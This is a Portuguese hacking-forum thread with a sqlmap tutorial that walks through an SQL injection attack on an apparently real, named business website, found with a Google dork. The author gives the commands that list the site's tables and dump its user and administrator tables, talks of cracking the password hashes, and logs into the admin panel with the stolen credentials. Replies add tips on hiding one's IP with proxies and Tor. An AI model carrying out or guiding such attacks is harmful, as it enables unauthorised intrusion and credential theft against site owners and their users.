Unconfigured Ad Widget

Collapse

Anúncio

Collapse
No announcement yet.

SQLMap: Aprendendo a usar

Collapse
X
 
  • Filter
  • Tempo
  • Show
Clear All
new posts

  • Tutorial SQLMap: Aprendendo a usar

    O que veremos aqui é mais uma das minhas introduções básicas, onde aponto a direção norte e, ao final do tutorial, os deixo trilhar os próprios caminhos (chega de poetizar).
    A bola da vez é o Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar....

    Instalação
    Não tem erro. Basta apenas baixá-lo no Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar.... Para Windows, será necessário também baixar o interpretador Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar.... Em minha máquina utilizo um Debian Squeeze, que já possui este pacote instalado e ativo.
    Após baixar, basta descompactá-lo e, pelo Bash/DOS, navegar (usando o comando "cd", change dir) até o diretório onde estão os arquivos descompactados.

    Visão geral
    Como uma primeira documentação, vamos permitir que o próprio SQLMap fale por si.
    Código:
    user@debian:~/path/sqlmap$ ./sqlmap.py --help
    
        sqlmap/0.9 - automatic SQL injection and database takeover tool
        http://sqlmap.sourceforge.net
    
    Usage: python ./sqlmap.py [options]
    
    Options:
      --version             show program's version number and exit
      -h, --help            show this help message and exit
      -v VERBOSE            Verbosity level: 0-6 (default 1)
    
      Target:
        At least one of these options has to be specified to set the source to
        get target urls from.
    
        -d DIRECT           Direct connection to the database
        -u URL, --url=URL   Target url
        -l LIST             Parse targets from Burp or WebScarab proxy logs
        -r REQUESTFILE      Load HTTP request from a file
        -g GOOGLEDORK       Process Google dork results as target urls
        -c CONFIGFILE       Load options from a configuration INI file
    
      Request:
        These options can be used to specify how to connect to the target url.
    
        --data=DATA         Data string to be sent through POST
        --cookie=COOKIE     HTTP Cookie header
        --cookie-urlencode  URL Encode generated cookie injections
        --drop-set-cookie   Ignore Set-Cookie header from response
        --user-agent=AGENT  HTTP User-Agent header
        --random-agent      Use randomly selected HTTP User-Agent header
        --referer=REFERER   HTTP Referer header
        --headers=HEADERS   Extra HTTP headers newline separated
        --auth-type=ATYPE   HTTP authentication type (Basic, Digest or NTLM)
        --auth-cred=ACRED   HTTP authentication credentials (name:password)
        --auth-cert=ACERT   HTTP authentication certificate (key_file,cert_file)
        --proxy=PROXY       Use a HTTP proxy to connect to the target url
        --proxy-cred=PCRED  HTTP proxy authentication credentials (name:password)
        --ignore-proxy      Ignore system default HTTP proxy
        --delay=DELAY       Delay in seconds between each HTTP request
        --timeout=TIMEOUT   Seconds to wait before timeout connection (default 30)
        --retries=RETRIES   Retries when the connection timeouts (default 3)
        --scope=SCOPE       Regexp to filter targets from provided proxy log
        --safe-url=SAFURL   Url address to visit frequently during testing
        --safe-freq=SAFREQ  Test requests between two visits to a given safe url
    
      Optimization:
        These options can be used to optimize the performance of sqlmap.
    
        -o                  Turn on all optimization switches
        --predict-output    Predict common queries output
        --keep-alive        Use persistent HTTP(s) connections
        --null-connection   Retrieve page length without actual HTTP response body
        --threads=THREADS   Max number of concurrent HTTP(s) requests (default 1)
    
      Injection:
        These options can be used to specify which parameters to test for,
        provide custom injection payloads and optional tampering scripts.
    
        -p TESTPARAMETER    Testable parameter(s)
        --dbms=DBMS         Force back-end DBMS to this value
        --os=OS             Force back-end DBMS operating system to this value
        --prefix=PREFIX     Injection payload prefix string
        --suffix=SUFFIX     Injection payload suffix string
        --tamper=TAMPER     Use given script(s) for tampering injection data
    
      Detection:
        These options can be used to specify how to parse and compare page
        content from HTTP responses when using blind SQL injection technique.
    
        --level=LEVEL       Level of tests to perform (1-5, default 1)
        --risk=RISK         Risk of tests to perform (0-3, default 1)
        --string=STRING     String to match in page when the query is valid
        --regexp=REGEXP     Regexp to match in page when the query is valid
        --text-only         Compare pages based only on the textual content
    
      Techniques:
        These options can be used to tweak testing of specific SQL injection
        techniques.
    
        --technique=TECH    SQL injection techniques to test for (default BEUST)
        --time-sec=TIMESEC  Seconds to delay the DBMS response (default 5)
        --union-cols=UCOLS  Range of columns to test for UNION query SQL injection
        --union-char=UCHAR  Character to use for bruteforcing number of columns
    
      Fingerprint:
        -f, --fingerprint   Perform an extensive DBMS version fingerprint
    
      Enumeration:
        These options can be used to enumerate the back-end database
        management system information, structure and data contained in the
        tables. Moreover you can run your own SQL statements.
    
        -b, --banner        Retrieve DBMS banner
        --current-user      Retrieve DBMS current user
        --current-db        Retrieve DBMS current database
        --is-dba            Detect if the DBMS current user is DBA
        --users             Enumerate DBMS users
        --passwords         Enumerate DBMS users password hashes
        --privileges        Enumerate DBMS users privileges
        --roles             Enumerate DBMS users roles
        --dbs               Enumerate DBMS databases
        --tables            Enumerate DBMS database tables
        --columns           Enumerate DBMS database table columns
        --dump              Dump DBMS database table entries
        --dump-all          Dump all DBMS databases tables entries
        --search            Search column(s), table(s) and/or database name(s)
        -D DB               DBMS database to enumerate
        -T TBL              DBMS database table to enumerate
        -C COL              DBMS database table column to enumerate
        -U USER             DBMS user to enumerate
        --exclude-sysdbs    Exclude DBMS system databases when enumerating tables
        --start=LIMITSTART  First query output entry to retrieve
        --stop=LIMITSTOP    Last query output entry to retrieve
        --first=FIRSTCHAR   First query output word character to retrieve
        --last=LASTCHAR     Last query output word character to retrieve
        --sql-query=QUERY   SQL statement to be executed
        --sql-shell         Prompt for an interactive SQL shell
    
      Brute force:
        These options can be used to run brute force checks.
    
        --common-tables     Check existence of common tables
        --common-columns    Check existence of common columns
    
      User-defined function injection:
        These options can be used to create custom user-defined functions.
    
        --udf-inject        Inject custom user-defined functions
        --shared-lib=SHLIB  Local path of the shared library
    
      File system access:
        These options can be used to access the back-end database management
        system underlying file system.
    
        --file-read=RFILE   Read a file from the back-end DBMS file system
        --file-write=WFILE  Write a local file on the back-end DBMS file system
        --file-dest=DFILE   Back-end DBMS absolute filepath to write to
    
      Operating system access:
        These options can be used to access the back-end database management
        system underlying operating system.
    
        --os-cmd=OSCMD      Execute an operating system command
        --os-shell          Prompt for an interactive operating system shell
        --os-pwn            Prompt for an out-of-band shell, meterpreter or VNC
        --os-smbrelay       One click prompt for an OOB shell, meterpreter or VNC
        --os-bof            Stored procedure buffer overflow exploitation
        --priv-esc          Database process' user privilege escalation
        --msf-path=MSFPATH  Local path where Metasploit Framework 3 is installed
        --tmp-path=TMPPATH  Remote absolute path of temporary files directory
    
      Windows registry access:
        These options can be used to access the back-end database management
        system Windows registry.
    
        --reg-read          Read a Windows registry key value
        --reg-add           Write a Windows registry key value data
        --reg-del           Delete a Windows registry key value
        --reg-key=REGKEY    Windows registry key
        --reg-value=REGVAL  Windows registry key value
        --reg-data=REGDATA  Windows registry key value data
        --reg-type=REGTYPE  Windows registry key value type
    
      General:
        These options can be used to set some general working parameters.
    
        -t TRAFFICFILE      Log all HTTP traffic into a textual file
        -s SESSIONFILE      Save and resume all data retrieved on a session file
        --flush-session     Flush session file for current target
        --fresh-queries     Ignores query results stored in session file
        --eta               Display for each output the estimated time of arrival
        --update            Update sqlmap
        --save              Save options on a configuration INI file
        --batch             Never ask for user input, use the default behaviour
    
      Miscellaneous:
        --beep              Alert when sql injection found
        --check-payload     IDS detection testing of injection payloads
        --cleanup           Clean up the DBMS by sqlmap specific UDF and tables
        --forms             Parse and test forms on target url
        --gpage=GOOGLEPAGE  Use Google dork results from specified page number
        --page-rank         Display page rank (PR) for Google dork results
        --parse-errors      Parse DBMS error messages from response pages
        --replicate         Replicate dumped data into a sqlite3 database
        --tor               Use default Tor (Vidalia/Privoxy/Polipo) proxy address
        --wizard            Simple wizard interface for beginner users
    Você já pode notar, então, que o SQLMap não está de brincadeira, e que suas opções de uso superam com força às do Havij, por exemplo. Maldito open-source, não?
    Ok, vamos ver então um exemplo simples de uso. Vamos procurar por um website possivelmente vulnerável. Note que o próprio SQLMap pode fazer buscas no Google, caso você especifique a dork. Porém, isso não é recomendado, já que a Google se esforça ao máximo para acabar com as chances de funcionamento de bots automatizados de busca, e isso também interfere no nosso amado programinha. Além disso, um pouco de trabalho braçal não mata ninguém, certo?
    Utilizando a seguinte dork:
    Código:
    inurl:"noticia_view.php?id_noticia="
    Não demorou muito para que eu encontrasse minha primeira cobaia.
    Agora, basta apenas inserir o seguinte comando no terminal:
    Código:
    ./sqlmap.py -u http://www.busatocanoas.com.br/site/noticia_view.php?id_noticia=900
    Como você pôde conferir, basta setar o argumento -u para a URL que se deseja testar. Então, como você pode ver no print abaixo, ele inicia fazendo testes de conexão à URL, verificações se os parâmetros da URL (id_noticia) são dinâmicos e uma série de testes para vários motores de bancos de dados, para verificar se os parâmetros são vulneráveis.

    Note que ele parou numa pergunta. Segundo ele, o parâmetro id_noticia é vulnerável e, por isso, pergunta se eu desejo continuar testando outros parâmetros. Eu posso entrar "y" para sim ou "n" (ou deixar em branco, visto que é a resposta padrão, estando em caixa alta) para não. Eu escolhi o não, afinal, não fazia sentido continuar testando (até porque não há outros parâmetros na URL).
    Com minha resposta negativa em mãos, ele me dá um relatório prévio de como será a invasão. Veja:

    Note que a versão do MySQL é maior (ou igual) a 5, mas que o tipo de injeção pode ser blind, baseado em erros ou em tempo de resposta. Mas vamos seguir tentando.
    Já podemos, de cara, obter as tabelas do banco de dados atual. Para isso, digite o mesmo comando anterior (eu prefiro apertar seta para cima, e o último comando é reescrito no prompt), mas adicionaremos o parâmetro "--tables". Nota: para obter apenas os nomes dos bancos de dados, utilize "--dbs" ao invés de "--tables".
    Basicamente, é assim:
    Código:
    ./sqlmap.py -u http://www.busatocanoas.com.br/site/noticia_view.php?id_noticia=900 --tables
    Ele retoma o trabalho de onde parou, graças aos arquivos de sessões no diretório "output". Vejam que lindo o resultado!


    Uma das coisas que gosto no SQLMap é a praticidade, até mesmo quando comparado à softwares de interface gráfica, como o Havij. Agora, ao invés de obter colunas, já podemos obter diretamente os dados de alguma tabela que quisermos. O próprio SQLMap se encarregará de buscar para nós as colunas e, em seguida, os dados.
    Seguindo as regras do senso comum, tentaremos obter os dados das seguintes tabelas (formato: banco_de_dados.nome_da_tabela):
    • busatoca_enquetes.usuarios
    • busatoca_sitebusato.administracao
    • busatoca_sitebusato.usuario
    • busatoca_sitebusato.usuarios


    Certo, então vamos começar. O comando se dará da seguinte forma:
    Código:
    ./sqlmap.py -u http://www.busatocanoas.com.br/site/noticia_view.php?id_noticia=900 --dump -T usuarios -D busatoca_enquetes
    Vamos utilizar o argumento "--dump" para indicar a extração de dados. em "-T" indicaremos a tabela e em "-D" o banco de dados ao qual a tabela pertence. Nota: para obter apenas os nomes das colunas, utilize o "--columns" ao invés do "--dump".
    Vejam que beleza que são os dados retornando a nós!

    É como estar diante do próprio mysqladmin, não acham?
    Vejamos as outras tabelas:

    Código:
    ./sqlmap.py -u http://www.busatocanoas.com.br/site/noticia_view.php?id_noticia=900 --dump -T administracao -D busatoca_sitebusato


    Código:
    ./sqlmap.py -u http://www.busatocanoas.com.br/site/noticia_view.php?id_noticia=900 --dump -T usuario -D busatoca_sitebusato

    Nesta tabela, o SQLMap detectou senhas em hash (criptografadas (não sei onde)), e se ofereceu para ajudar, por meio de um ataque baseado em dicionário. Como isso é apenas um exemplo, vamos deixar as senhas criptografadas em paz. Isso sem contar que podemos utilizar serviços on-line, como Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar..., para quebrar as hashes.

    Código:
    ./sqlmap.py -u http://www.busatocanoas.com.br/site/noticia_view.php?id_noticia=900 --dump -T usuarios -D busatoca_sitebusato

    Ok, nessa, não podemos negar que a tabela ficou "um pouco" desorganizada, mas... A cag*da foi minha. Vou lembrar que deixar a janela em uma largura maior da próxima vez. Vou lembrar também de minimizar o bloco de notas.

    Rapidamente, pude descobrir o endereço do painel administrativo:
    Código:
    http://www.busatocanoas.com.br/site/admin/
    Consegui acesso utilizando o login e senha disponíveis da tabela "busatoca_sitebusato.usuario". Veja:


    Este foi apenas um exemplo básico de introdução. O SQLMap oferece muito mais, e são coisas que você terá que descobrir da melhor forma: NA MARRA.
    Fiquem com Papai do Céu, meus queridos
    72
    SQLMap
    79.17%
    57
    Havij
    20.83%
    15
    Este material pode ser compartilhado, desde que os devidos créditos sejam dados.



    Notify-list · Twitter · Blog

    Nova lei: Invadir computadores protegidos é crime.
    Lógica: Se eu invadi, não é protegido. Logo, não é crime :-)
    Similar Threads

  • Font Size
    #2
    Mandou bem 0KaL
    Loko tuto....
    sigpic
    " O bom hacker todos conhecem e sabem quem é, mas o excelente hacker... esse nunca saberemos quem um dia foi."
    Nova lei - Invadir computadores protegidos é crime.
    Lógica - Se eu invadi, não é protegido. Logo, não é crime

    Comment


    • Font Size
      #3
      Muito bom 0kal, vai ajudar bastante o pessoal que usa o cenorinha
      .

      - PHP & VB C0d3r.

      Nickguitar.dll@hotmail.com

      http://www.youtube.com/user/superskate56 <~ Hacking tuts =)

      Quando aprendemos a ouvir, também aprendemos a falar..
      Quando aprendemos a ler, também aprendemos a escrever.
      Então, quando aprendemos a usar um computador, por que não aprender a programa-lo ?


      I'm C0ding for $$$

      #~: Just $this :~#

      Comment


      • Font Size
        #4
        Vale ressaltar que deve usar um proxy ou a rede tor para mascarar o Ip junto com o user agent

        --proxy=http://XXX.XX.XXX.XX:XXXX --user-agent="Mozilla/5.0 (Windows NT 6.1; rv:8.0) Gecko/20100101 Firefox/8.0"

        Onde os "X" substituir pelo proxy juntamente com a porta

        Comment


        • Font Size
          #5
          Vale ressaltar que deve usar um proxy ou a rede tor para mascarar o Ip junto com o user agent

          --proxy=http://XXX.XX.XXX.XX:XXXX --user-agent="Mozilla/5.0 (Windows NT 6.1; rv:8.0) Gecko/20100101 Firefox/8.0"

          Onde os "X" substituir pelo proxy juntamente com a porta

          Comment


          • Font Size
            #6
            E uso o proxychains + tor quando vou usar o sqlmap. É demorado mas é mais seguro, acredito eu.

            Comment


            • Font Size
              #7
              Olá,

              Gostaria de montar sites para ganhar um extra++ de modo fácil , por exemplo um site de receitas , só que eu não quero aprender a cozinhar , eu gostaria de puxar informações do BD de um site de receitas de alguém para o meu site.
              Usando essa ferramenta eu conseguiria isso?

              Obrigado.

              Comment


              • Font Size
                #8
                0kal se você escrevesse livros ia vender bastante.

                Comment


                • Font Size
                  #9
                  Comandos

                  Eu cheguei ate as senhas no caso estavão em Md5, quero saber quais comandos para achar a pagina de administração...

                  Comment


                  • Font Size
                    #10
                    O meu da erro

                    Quando vou usar aparece essa mensagem:
                    "Traceback (most recent call last):
                    File "C:\Python27\sqlmap.py", line 23, in <module>
                    from lib.utils import versioncheck # this has to be the first non-standard
                    import
                    ImportError: No module named lib.utils"
                    O que eu faço???
                    O bem e o mal não existem, existe os pontos de vista

                    Comment


                    • Font Size
                      #11
                      Já resolvi aquele problema

                      Mas agora ta dando outro problema
                      Aparece essa mensagem:
                      "RuntimeError: Bad magic number in .pyc file"
                      O que faço?
                      O bem e o mal não existem, existe os pontos de vista

                      Comment


                      • Font Size
                        #12
                        Postado Originalmente por joap Ver Post
                        Mas agora ta dando outro problema
                        Aparece essa mensagem:
                        "RuntimeError: Bad magic number in .pyc file"
                        O que faço?
                        Está com o python, realmente, instalado? Se estiver verifique a versão dele, pode ser isso.
                        Se expressarmos gratidão pelo que temos, teremos mais para expressar gratidão... Agradeça!

                        Comment


                        • Font Size
                          #13
                          Consegui consertar

                          Já consegui consertar era problema aqui vlw
                          O bem e o mal não existem, existe os pontos de vista

                          Comment


                          • Font Size
                            #14
                            Make your Walima ceremony unforgettable with our latest Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar.... Our extensive selection of dresses offers a variety of colors and styles, ensuring that you'll find the perfect dress to reflect your unique personality and style. Shop now!

                            Comment


                            • Font Size
                              #15
                              Get the latest variety of Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... online in Pakistan. Servis brings a wonderful collection of chappals for womens, with sleek designs, attractive colors, and unique styles. Find your favorite chappal online from Servis Shoes. Shop now!

                              Comment

                              X
                              Working...
                              X